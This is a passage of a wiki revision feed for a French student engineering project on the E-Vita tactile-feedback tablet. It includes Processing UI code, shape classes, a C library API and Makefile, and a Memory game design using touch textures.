     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();    // Initialisation &lt;br /&gt;
 void stopEvita();     &lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);               //Définition forme géométrique où sera présente la texture : Taxtel&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);     //Idem mais de manière elliptique&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);                                              //Désactive le retour tactile pour la forme sélectionné&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);     //Fonction définissant les texture possible : Signal Carré / Sinusoïde&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));                  //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;br /&gt;
&lt;br /&gt;
Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ci-dessous le makefile générant au choix une librairie statique/dynamique :&lt;br /&gt;
&lt;br /&gt;
 CC=gcc&lt;br /&gt;
 AR=ar&lt;br /&gt;
 EXEC=main&lt;br /&gt;
 SOURCE=libTextureControl.c&lt;br /&gt;
 OBJ=libTextureControl.o&lt;br /&gt;
 STATIC=libTextureControl.a&lt;br /&gt;
 DYNAMIC=libTextureControl.so&lt;br /&gt;
 HEAD=libTextureControl.h&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 clean:&lt;br /&gt;
 	rm -rf *.o *.a *.so *.out&lt;br /&gt;
 &lt;br /&gt;
 dynamic:$(DYNAMIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(DYNAMIC):$(OBJ)&lt;br /&gt;
 	gcc -shared -o $(DYNAMIC) $(OBJ)&lt;br /&gt;
 &lt;br /&gt;
 $(OBJ):$(SOURCE)&lt;br /&gt;
 	gcc -c -fPIC $(SOURCE)&lt;br /&gt;
 &lt;br /&gt;
 install:&lt;br /&gt;
 	sudo mv $(STATIC) /usr/lib&lt;br /&gt;
 	sudo mv $(DYNAMIC) /usr/lib&lt;br /&gt;
 	sudo mv $(HEAD) /usr/include&lt;br /&gt;
 &lt;br /&gt;
 static:$(STATIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(STATIC):$(OBJ)&lt;br /&gt;
 	$(AR) rcs $(STATIC) $(OBJ)&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
&lt;br /&gt;
Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.&lt;br /&gt;
&lt;br /&gt;
Pour ceux, j'ai penser à réaliser le jeu &amp;quot;Memory&amp;quot;.&lt;br /&gt;
Le jeu se présente ainsi :&lt;br /&gt;
*On dspose un nombre pair de cartes face cachée.&lt;br /&gt;
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.&lt;br /&gt;
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.&lt;br /&gt;
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.&lt;br /&gt;
&lt;br /&gt;
J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.&lt;br /&gt;
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut structurer le jeu ainsi : &lt;br /&gt;
&lt;br /&gt;
*Initialisation du plateau de jeu (18 cartes face verso).&lt;br /&gt;
**Distribution aléatoire 18/2 textures&lt;br /&gt;
*Tant que toutes les paires ne sont pas trouvées&lt;br /&gt;
**Tirer la première carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Tirer la deuxième carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Valider&lt;br /&gt;
**Test des motifs &lt;br /&gt;
***Si texture équivalente -&amp;gt; Le joueur gagne 1 points, le nombre de coup joué prend +1 -&amp;gt; Les cartes sont retirés&lt;br /&gt;
***Si texture non-équivalente -&amp;gt; Le nombre de coup joué prend +1 -&amp;gt; les cartes sont remises faces verso.&lt;br /&gt;
*Fin tant que &lt;br /&gt;
*Affichage du nombre de coups joués + durée de la partie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Menu jeu.png|350px|thumb|center]&lt;br /&gt;
[[Fichier:Game.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Pause.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Win.png|350px|thumb|center]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39491</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39491"/>
				<updated>2017-02-23T01:16:19Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();    // Initialisation &lt;br /&gt;
 void stopEvita();     &lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);               //Définition forme géométrique où sera présente la texture : Taxtel&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);     //Idem mais de manière elliptique&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);                                              //Désactive le retour tactile pour la forme sélectionné&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);     //Fonction définissant les texture possible : Signal Carré / Sinusoïde&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));                  //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;br /&gt;
&lt;br /&gt;
Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ci-dessous le makefile générant au choix une librairie statique/dynamique :&lt;br /&gt;
&lt;br /&gt;
 CC=gcc&lt;br /&gt;
 AR=ar&lt;br /&gt;
 EXEC=main&lt;br /&gt;
 SOURCE=libTextureControl.c&lt;br /&gt;
 OBJ=libTextureControl.o&lt;br /&gt;
 STATIC=libTextureControl.a&lt;br /&gt;
 DYNAMIC=libTextureControl.so&lt;br /&gt;
 HEAD=libTextureControl.h&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 clean:&lt;br /&gt;
 	rm -rf *.o *.a *.so *.out&lt;br /&gt;
 &lt;br /&gt;
 dynamic:$(DYNAMIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(DYNAMIC):$(OBJ)&lt;br /&gt;
 	gcc -shared -o $(DYNAMIC) $(OBJ)&lt;br /&gt;
 &lt;br /&gt;
 $(OBJ):$(SOURCE)&lt;br /&gt;
 	gcc -c -fPIC $(SOURCE)&lt;br /&gt;
 &lt;br /&gt;
 install:&lt;br /&gt;
 	sudo mv $(STATIC) /usr/lib&lt;br /&gt;
 	sudo mv $(DYNAMIC) /usr/lib&lt;br /&gt;
 	sudo mv $(HEAD) /usr/include&lt;br /&gt;
 &lt;br /&gt;
 static:$(STATIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(STATIC):$(OBJ)&lt;br /&gt;
 	$(AR) rcs $(STATIC) $(OBJ)&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
&lt;br /&gt;
Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.&lt;br /&gt;
&lt;br /&gt;
Pour ceux, j'ai penser à réaliser le jeu &amp;quot;Memory&amp;quot;.&lt;br /&gt;
Le jeu se présente ainsi :&lt;br /&gt;
*On dspose un nombre pair de cartes face cachée.&lt;br /&gt;
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.&lt;br /&gt;
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.&lt;br /&gt;
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.&lt;br /&gt;
&lt;br /&gt;
J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.&lt;br /&gt;
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut structurer le jeu ainsi : &lt;br /&gt;
&lt;br /&gt;
*Initialisation du plateau de jeu (18 cartes face verso).&lt;br /&gt;
**Distribution aléatoire 18/2 textures&lt;br /&gt;
*Tant que toutes les paires ne sont pas trouvées&lt;br /&gt;
**Tirer la première carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Tirer la deuxième carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Valider&lt;br /&gt;
**Test des motifs &lt;br /&gt;
***Si texture équivalente -&amp;gt; Le joueur gagne 1 points, le nombre de coup joué prend +1 -&amp;gt; Les cartes sont retirés&lt;br /&gt;
***Si texture non-équivalente -&amp;gt; Le nombre de coup joué prend +1 -&amp;gt; les cartes sont remises faces verso.&lt;br /&gt;
*Fin tant que &lt;br /&gt;
*Affichage du nombre de coups joués + durée de la partie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Menu_jeu.png|350px|thumb|center]&lt;br /&gt;
[[Fichier:Game.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Pause.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Win.png|350px|thumb|center]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39490</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39490"/>
				<updated>2017-02-23T01:16:02Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
